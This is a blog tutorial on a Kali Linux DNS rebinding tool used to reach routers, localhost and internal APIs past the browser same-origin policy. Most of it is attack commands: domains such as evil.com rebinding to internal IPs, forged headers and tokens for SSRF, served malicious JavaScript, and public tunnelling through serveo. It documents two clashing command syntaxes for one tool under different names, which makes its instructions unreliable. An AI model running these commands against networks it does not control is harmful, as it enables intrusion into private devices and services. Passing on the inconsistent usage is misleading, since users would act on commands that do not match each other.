dns-rebind: A tool for DNS rebinding attacks to bypass security measures

dns-rebind: A tool for DNS rebinding attacks to bypass security measures

What is DNS Rebinding?

DNS rebinding is a network attack technique that circumvents the same-origin policy in web browsers by rapidly changing the IP address associated with a domain name. The DNS-rebind tool in Kali Linux is designed to help security professionals test for DNS rebinding vulnerabilities in web applications and networks.

How DNS Rebinding Works

  1. Initial Resolution: The victim’s browser resolves a malicious domain to an attacker-controlled IP address
  2. Session Establishment: The browser connects to this IP, establishing a same-origin context
  3. DNS Record Change: The attacker changes the DNS record to point to a target IP (often localhost or internal network)
  4. Bypass Protection: The browser continues to trust the domain despite the IP change, allowing access to internal services

Installation

The DNS-rebind tool is typically included in Kali Linux by default. If not present, you can install it:

Bash
sudo apt update
sudo apt install dnsrebind

Alternatively, you can use other DNS rebinding tools like rebind or sing:

Bash
sudo apt install rebind sing

Basic Usage

Simple DNS Rebinding Server

Bash
dnsrebind --interface eth0 --domain malicious.example.com --targets 127.0.0.1,192.168.1.1

This sets up a DNS server that alternates between returning your server’s IP and the target IPs when queried for malicious.example.com.

Advanced Usage

Custom TTL and Rotation

Bash
dnsrebind --interface eth0 --domain test.example.com --targets 192.168.1.1,192.168.1.2 --ttl 1 --rotation-interval 5
  • --ttl 1: Sets DNS TTL to 1 second (makes rebinding faster)
  • --rotation-interval 5: Rotates between IPs every 5 seconds

Using with Web Server

Bash
dnsrebind --interface eth0 --domain evil.com --targets 127.0.0.1 --http-port 80 --http-response ""

This serves malicious JavaScript when the domain first resolves to your server.

Command-Line Options

OptionDescription
-i Network interface to bind to (e.g., eth0, wlan0)
-d Your registered domain name (e.g., attacker.com)
-u Basic Authentication username (default: admin)
-a Basic Authentication password (default: admin)
-r Initial URL path (default: /)
-t Comma-separated list of target IPs (default: client’s IP)
-n Callback interval in milliseconds (default: 2000 / 2 sec)
-p Target port (default: 80)
-c Callback port (default: 81)
-C Set a cookie for the client (e.g., sessionid=1234)
-H File containing HTTP headers to send to the target

How It Works

  1. DNS Rebinding Setup
  • The tool runs a DNS server that alternates between:
    • The attacker’s IP (initial response)
    • The target IP (after rebinding)
  • The browser trusts the domain but gets redirected to internal services.
  1. Exploitation Flow
  • Victim visits attacker.com → resolves to attacker’s IP.
  • JavaScript keeps making requests → DNS changes to internal-ip.
  • Browser treats it as same-origin → bypasses SOP.

Basic Usage Examples

1. Simple DNS Rebinding Attack

Bash
sudo dns-rebind -i eth0 -d evil.com -t 192.168.1.1,127.0.0.1
  • Binds to eth0.
  • Uses evil.com for rebinding.
  • Alternates between the attacker’s IP and 192.168.1.1 (internal) & 127.0.0.1 (localhost).

2. With Basic Authentication

sudo dns-rebind -i eth0 -d test.com -u admin -a password -t 10.0.0.1
  • Forces authentication (admin:password).
  • Targets 10.0.0.1.

3. Custom Port & Faster Callback

Bash
sudo dns-rebind -i eth0 -d rebind.me -t 192.168.1.1 -p 8080 -n 500
  • Targets port 8080.
  • Polls every 500ms (faster rebinding).

Advanced Usage

1. Setting Cookies

Bash
sudo dns-rebind -i eth0 -d hijack.com -C "PHPSESSID=1234" -t 10.10.10.1
  • Injects a cookie (PHPSESSID=1234) into requests.

2. Custom HTTP Headers (For SSRF/API Exploits)

Create a file (headers.txt):

Bash
Host: internal-api.local
X-Forwarded-For: 127.0.0.1
Authorization: Bearer xyz123

Then run:

Bash
sudo dns-rebind -i eth0 -d api-attack.com -H headers.txt -t 172.16.1.1
  • Sends custom headers to bypass security checks.

3. Targeting Multiple IPs

Bash
sudo dns-rebind -i eth0 -d multi-rebind.com -t 192.168.1.1,192.168.1.2,10.0.0.1
  • Rotates between multiple internal IPs.

Real-World Use Cases

  1. Testing Local Network Services: Access routers, IoT devices, or internal web interfaces that would normally be blocked by same-origin policy
  2. Bypassing Firewalls: Reach internal services that are firewalled from external access
  3. Web Application Testing: Test for vulnerabilities in web apps that don’t properly validate host headers
  4. SSRF Exploitation: Combine with Server-Side Request Forgery vulnerabilities
  5. Browser Security Research: Study how different browsers handle DNS changes

Troubleshooting Tips

  1. Permission Issues:
Bash
sudo dnsrebind [...]

DNS servers typically need root privileges to bind to port 53.

  1. Port Conflicts:
Bash
netstat -tulnp | grep 53

Stop any existing DNS servers before running dnsrebind.

  1. Browser Caching:
  • Use Chrome with --dns-prefetch-disable flag
  • Test in private browsing mode
  • Clear DNS cache between tests
  1. No Response:
  • Verify your interface is correct with ifconfig
  • Check firewall rules (sudo ufw status)
  1. TTL Issues:
  • Lower TTL values make attacks more reliable
  • Some ISPs ignore very low TTLs
  1. Debugging:
    Use --verbose flag and monitor with:
Bash
sudo tcpdump -i eth0 udp port 53

Advanced Techniques

Combining with Other Tools

Use with ngrok or serveo for external testing:

Bash
ssh -R 80:localhost:80 serveo.net
dnsrebind --domain rebind.serveo.net --targets 127.0.0.1

Custom Web Server Payloads

Create an HTML file with malicious JavaScript, then:

Bash
dnsrebind --domain evil.com --targets 192.168.1.1 --http-port 80 --http-response $(cat payload.html)
Total
0
Shares

Leave a Reply

Previous Post
netsniff-ng: A high-performance network analyzer and packet sniffer

netsniff-ng: A high-performance network analyzer and packet sniffer

Next Post
sslsplit: A tool for intercepting and decrypting SSL/TLS traffic

sslsplit: A tool for intercepting and decrypting SSL/TLS traffic

Related Posts